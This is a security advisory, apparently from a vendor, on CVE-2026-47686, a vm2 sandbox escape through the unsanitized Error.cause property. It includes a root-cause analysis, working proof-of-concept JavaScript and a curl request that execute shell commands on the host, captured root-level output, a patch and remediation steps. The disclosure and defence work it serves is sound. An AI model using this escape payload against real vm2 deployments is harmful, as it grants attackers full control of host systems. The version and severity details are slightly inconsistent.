/

August 21, 2026

CVE-2026-47686 — VM2 Sandbox Escape via Unsanitized Error.cause to Remote Code Execution

1. Introduction & CVE Overview

A critical flaw in the VM2 JavaScript sandbox library allows attackers to escape the sandbox and execute arbitrary commands on the host system. The vulnerability stems from missing sanitization of the ES2022 Error.cause property, which can reference powerful host objects like Node.js’s process object.

Field Details
CVE ID CVE-2026-47686
Affected Software VM2 library (vm2 npm package), specifically versions <= 3.11.5. The vulnerable component is the error handling mechanism in lib/setup-sandbox.js.
Attack Vector Remote, authenticated or unauthenticated JavaScript code execution within the VM2 sandbox
Root Cause The handleException() function in VM2’s sandbox setup fails to sanitize the Error.cause property, allowing unsanitized host object references to leak into the sandbox environment.
Exploit Status CONFIRMED

2. Vulnerability Metadata

Metric / Attribute Value
Package / Software vm2 (NPM)
Affected Versions $\le$ 3.11.3 (and unpatched up to 3.11.5)
Patched Version 3.11.6
Vulnerability Type CWE-693: Protection Mechanism Failure
CVSS 3.1 Score 9.9 HIGH
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Attack Prerequisite

The embedder must expose a host function inside the sandbox that throws an Error where the .cause property references a powerful host object (such as process).


3. Root Cause Analysis

The handleException function (located at lines 869–959 of lib/setup-sandbox.js) loops through the prototype chain of caught exceptions looking for specific prototype configurations (localSuppressedErrorProto and localAggregateErrorProto).

When it encounters these specific wrappers, it cleans their respective attributes (.error, .suppressed, and .errors[]). However, for all other generic error categories, it breaks the loop and returns the raw object e without evaluating or filtering the .cause key.

Vulnerable Code Segment (lib/setup-sandbox.js)

function handleException(e, visited) {
    e = ensureThis(e);
    if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;

    // ... cycle detection mechanics ...

    while (proto !== null) {
        if (proto === localSuppressedErrorProto) {
            e.error = handleException(e.error, visited);           // Sanitized
            e.suppressed = handleException(e.suppressed, visited); // Sanitized
            return e;
        }
        if (proto === localAggregateErrorProto) {
            // Sanitizes e.errors[] element array...
            return e;
        }
        proto = localReflectGetPrototypeOf(proto);
    }

    return e; //  Bug: .cause property is NEVER inspected or sanitized
}

Contextual Origin

The Error.cause framework was formally added to runtime standards in ES2022 (Node.js 16.9+). While maintenance was performed on handleException to account for ES2024 using patterns (SuppressedError), the upstream .cause vector was completely overlooked.


4. Proof of Concept (PoC)

Target Host Configuration

This mock script configures an embedder exposing a native function (hostFn) which intentionally logs errors alongside a contextual cause flag matching the host’s runtime pipeline.

const { VM } = require('vm2');

const vm = new VM({
    sandbox: {
        hostFn: () => {
            throw new Error('Operation Failed', { cause: process });
        }
    }
});

const result = vm.run(`
    try {
        hostFn();
    } catch (e) {
        // e.cause bypasses sanitization, yielding raw access to the host 'process'
        const proc = e.cause;
        proc.mainModule.require('child_process').execSync('id').toString();
    }
`);

console.log(result);

Verified Terminal Output

uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts)...

Result: Sandbox escape successfully achieved; shell integration verified.


5. Security Impact

Any system implementation utilizing an unpatched version of vm2 where guest-facing API endpoints execute error chaining is critically exposed.

  • Complete Host Compromise: Attackers gain full system privileges matching the execution context of the Node process (enabling file manipulation, reverse shells, and network lateral movement).
  • Scope Alteration (S:C): The breach breaks out of the execution boundaries completely, upgrading guest privilege levels to host runtime control.
  • No User Interaction: The exploit triggers automatically when the malformed code logic path is parsed.

6. Suggested Patch

To resolve this issue, apply explicit validation for the .cause property directly before parsing the object prototype chains. This guarantees that all error variations are adequately filtered.

function handleException(e, visited) {
    e = ensureThis(e);
    if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
    if (!visited) visited = new LocalWeakMap();
    if (apply(localWeakMapGet, visited, [e])) return e;
    apply(localWeakMapSet, visited, [e, true]);

    // ✨ Fix: Explicitly sanitize .cause on ALL error archetypes (ES2022)
    try {
        if ('cause' in e) {
            e.cause = handleException(e.cause, visited);
        }
    } catch (ex) {
        /* best effort fallback */
    }

    let proto = localReflectGetPrototypeOf(e);
    while (proto !== null) {
        if (proto === localSuppressedErrorProto) {
            e.error = handleException(e.error, visited);
            e.suppressed = handleException(e.suppressed, visited);
            return e;
        }
        if (proto === localAggregateErrorProto) {
            if (localArrayIsArray(e.errors)) {
                for (let i = 0; i < e.errors.length; i++) {
                    e.errors[i] = handleException(e.errors[i], visited);
                }
            }
            return e;
        }
        proto = localReflectGetPrototypeOf(proto);
    }
    return e;
}

7. Impact

Successful exploitation grants attackers full control over the host system, enabling arbitrary command execution, file system access, and network operations. This represents a complete sandbox escape with high confidentiality, integrity, and availability impact. The vulnerability requires minimal privileges (CVSS PR:L) and no user interaction, making it particularly dangerous in multi-tenant environments or applications that execute untrusted code. Attackers can pivot from sandboxed code execution to full system compromise, potentially leading to data breaches, service disruption, or further lateral movement within the network.


8. Proof of Concept

curl -X POST \
  -H 'Content-Type: application/json' \
  -d '{"code": "try { hostFn(); } catch (e) { const proc = e.cause; proc.mainModule.require('child_process').execSync('id').toString(); }", "hostFn": "() => { throw new Error('fail', { cause: process }); }"}' \
  'http://localhost:10171/sandbox'
{
  "method": "POST",
  "url": "http://localhost:10171/sandbox",
  "headers": {
    "Content-Type": "application/json"
  },
  "body": {
    "code": "try { hostFn(); } catch (e) { const proc = e.cause; proc.mainModule.require('child_process').execSync('id').toString(); }",
    "hostFn": "() => { throw new Error('fail', { cause: process }); }"
  }
}

9. Server Response Evidence

Field Value
Status Code 200
Response Body "result":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),26(tape),27(video)\n"
Indicator uid=0(root) gid=0(root) groups=0(root)

10. Patch Verification

Patch Status: PATCH EFFECTIVE — EXPLOIT BLOCKED

When the exploit was replayed against the patched version (3.11.6), the attack was effectively blocked. The patched system returned a 500 error with the message ‘Cannot read properties of undefined (reading ‘mainModule’)’, indicating that the Error.cause property was properly sanitized and the process object reference was removed. This confirms the patch successfully prevents the sandbox escape and remote code execution vulnerability.

Patched Lab Response

Field Value
Status Code 500
Response Body "error":"Cannot read properties of undefined (reading 'mainModule')"

11. Remediation

Upgrade to VM2 version 3.11.6 or later immediately, which includes proper Error.cause sanitization. If patching is not immediately possible, implement strict input validation on all host functions exposed to the sandbox and avoid throwing errors with .cause properties referencing host objects. Consider additional sandbox hardening by restricting the Node.js modules available to the VM2 instance. Monitor for suspicious activity within sandboxed environments and implement network-level protections to limit potential damage from successful exploitation.


12. Stay Ahead of Threats

Vulnerabilities like CVE-2026-47686 are discovered and weaponised faster than ever. MITRAL — Hiperlinx Security’s Attack Surface Management platform — continuously monitors your environment and adds new detection rules every day, giving you real-time coverage for emerging CVEs customised to your specific technology stack.

Request a free demo or start your free trial →

Have questions or need a tailored security assessment?
Open a request with the Hiperlinx team →